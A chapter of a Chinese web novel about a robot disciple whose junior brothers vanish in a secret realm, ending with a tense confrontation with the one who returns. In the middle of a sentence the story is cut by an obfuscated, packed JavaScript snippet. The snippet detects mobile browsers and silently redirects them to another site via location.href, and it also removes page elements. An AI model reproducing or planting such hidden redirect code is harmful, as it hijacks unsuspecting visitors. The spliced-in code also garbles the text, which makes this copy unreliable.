从那天起，049总觉得有哪里不对劲，但一切异样都被埋在平和的表象之下，他摸不透。 江澈没有再提过喜欢他这件事，但修炼更加勤奋了，修为突飞猛进。 同时修为突飞猛进的还有一向落后的汪乐水。 师父赞他好像突然开窍一样，他听了面无表情，接着去练剑。 还有，他开始躲着049了。 “果然他还是恐同。”049想。 他不知道该说什么，教程没教这个。他只能按照自己笨拙的想法，把那个破碎的糖罐子粘好，悄悄放在了汪乐水房门前。 第二天，他又在汪乐水房门前看到了一地碎片。 049有些不知所措。 但他没有时间做更多事情来修复他和小师弟之间的关系了。 因为很快，天墟秘境就要打开。 按照规矩，是该每个宗门里的年轻弟子去历练、寻机缘的机会。 049已经过了初出茅庐的阶段，笑春峰上派出的是他的四个师弟。 临别前，049和他们一一告别。 他给每个人都准备了一个储物袋，里面塞满了这段时间他捣鼓出来的一些科技和仙法结合产物。 比如刻满集成电路纹、可以自动预警危险的玉佩。 比如可以语音导航的罗盘，当然语音包录入的是049自己的。 最后，他还没忘在储物袋里给他们每人放上一把松子糖。 其实049的机器舌头并不能体会到甜味给人类带来的愉悦感，他只是觉得师弟们喜欢。 师弟们确实都欢天喜地地收下了师兄大礼包。 就连躲着他很久的汪乐水都没有拒绝。 “我们要走了，不拥抱一下吗师兄！”吴渊嘻嘻哈哈地笑着。江澈和王君也应和。 049依从他们，伸出胳膊，搂了一下他们每一个人。 然后他看着站在一边没有动的汪乐水。 “你不要抱一下吗？”049问。 汪乐水的表情动了一下，有一瞬间049觉得他好像就要走过来了。 但最后他还是冷淡地说：“不用了。我又不是回不来了。” 他把“我”字咬得很重。 这话不太好听。其他三个师弟都有一瞬安静。但他们最终只是当汪乐水压力大心情不好，嘻嘻哈哈也就过去了。 049站在白玉仙台上，目送着四个师弟从问心阶下山。 哇，他们四个从这里气喘吁吁地爬上来好像就在昨天。 机器人对时间流速其实不敏感，但是他是真切地看着他们如竹节般拔高。 他们的背影越来越小了，最后用最高倍的镜头也看不见了。 049转身回去，却感觉自己的心脏猛然发出了一声咯吧声。 机器人不知道什么叫预感，他只觉得自己的机械心脏跳得好像有点不对。 回去该修理了。他想。 十天过去了。一个月过去了。百天过去了。 各宗门的年轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271023|166628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弟子陆续从秘境中出来了，有的修为暴涨，有的获得了法宝。 也有的遭遇劫难，满身伤痕，缺胳膊断腿。 049和师父一直等着四个师弟回来。 最后却只等到了汪乐水。 汪乐水瘦了，他的修为也比离开前高了许多。更令049欣慰的是，汪乐水比离开前活泼多了，和他的隔阂也消失不见。 “师兄。”他主动伸出手来抱住了049。 “你平安回来了，太好了！”049拍拍他环在自己肩上的胳膊。 然后他顿了顿：“看到江澈他们了吗？” “没有，进入秘境之后我们就分开了。”汪乐水松开了他，平静地回答，“再等等他们吧，还有人没有从秘境中出来呢。” 又过了一些时日。 这些天，汪乐水像曾经的江澈他们一样，开始常常跟着049，求049指导他修炼。 049心想这秘境还能治恐同，真是神奇。 他一边高兴于和师弟和好了，尽量满足师弟的一些小要求。但一边他也抽出时间，不放弃地打听寻找江澈他们的下落。 但不知道为什么，他总觉得汪乐水好像并不期盼着江澈他们回来。 他总是用各种借口打断049的寻找，占用049的时间。 甚至有一次，在049准备去新的地方寻找的时候，他沉默了一会儿，竟然道： “师兄，也许江澈回不来了呢。” 049脱口而出：“不可能。” 开玩笑，江澈可是前世的江珺，要是他死了，这个幻境就该消失，他就该回到现实世界了。 见到049肯定的样子，汪乐水的表情不易察觉地冷了下来。 但他并没有再说什么，只是静静地看着049忙活。 最后，一直到秘境关闭，笑春峰还是没有等到其他三个弟子归来。 049很茫然。 他坐在师弟们曾经的房间里，把cpu烧得发烫地思考。 不可能啊，这是不可能的结果啊。 到底哪里……出错了呢？ 江澈他……不是江珺吗？ 恍然间，一个淡青色的衣角在门口一闪而现。 049一愣，抬起发烫的脑袋，下意识道：“江珺？” 喊完他才反应过来不对，抬头看去。 来者是汪乐水。 穿着一身淡青色衣袍的汪乐水。 不知何时，汪乐水开始喜欢上了淡青的衣服。而他的气质也渐渐不复从前那样自卑瑟缩。 049甚至在他的身上，一瞬间看到了朦胧的、其他人的影子。 “你……”049站起身来，想要搪塞自己的口误。 本是一脸平静的汪乐水却猝然逼近他，握着他的肩，狠狠地撞在了墙上。 汪乐水的力道很大。 大到049的机械躯体都震颤了一下，大到049感到了几分似曾相识的不适感。 有那么一瞬间，他看到了汪乐水的睫毛在剧烈抖动，瞳孔剧烈地缩成两点寒星，整张脸仿佛不似人类的面皮，近乎狰狞。 但仅仅是那么一瞬，汪乐水又恢复了平日里样子。 仿佛刚刚的一切都是假象，是049故障产生的幻觉。 “师兄唤我江珺。”049听到他说，声音里分辨不出是什么情绪。 “那么，是江澈还是王君呢。还是别的什么人。” 他眯起眼睛，直直地盯着049的眼睛，一字一句地、缓缓问道。 “师兄。你到底透过我在看谁？” “又或者说……” “你到底透过我们，在看谁？”